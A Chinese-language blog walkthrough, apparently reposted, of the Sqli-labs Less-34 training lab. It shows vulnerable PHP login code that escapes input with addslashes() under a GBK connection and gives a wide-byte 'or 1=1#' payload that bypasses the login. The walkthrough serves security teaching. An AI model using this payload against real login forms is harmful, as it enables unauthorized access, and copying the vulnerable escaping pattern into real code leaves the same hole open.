zoukankan      html  css  js  c++  java
  • Sqli-labs Less-34 利用 ' 的utf-16突破addslashes()函数转义

    关键代码

    $uname1=$_POST['uname'];
    $passwd1=$_POST['passwd'];
        
    $uname = addslashes($uname1);
    $passwd= addslashes($passwd1);
    
    mysql_query("SET NAMES gbk");
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 �' 。我们就可以利用这个方式进行尝试。

    我们用万能密码的方式的来突破这一关。

    例如直接提交username:�' or 1=1#

    password:随便乱填

    可以看到下面显示登录成功。

    原始的sql语句为

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    此时sql语句为

    @$sql="SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1";

    去掉注释部分后sql语句为

    @$sql="SELECT username, password FROM users WHERE username='�' or 1=1

    此时不论select选择出来的内容是什么,与 1=1进行or操作后,始终为真。

  • 相关阅读:
    最新版 VS2015|Visual Studio Enterprise 2015简体中文版(企业版)
    MY97 日期控件只输入今天之前的值
    VARIANT类型
    C++ Struct
    MFC网络编程
    套接字编程(VC_Win32)
    套接字相关函数
    网络编程
    char str[] 与 char *str的区别详细解析
    Windows下C++多线程同步与互斥简单运用
  • 原文地址:https://www.cnblogs.com/zhengna/p/12660960.html
Copyright © 2011-2022 走看看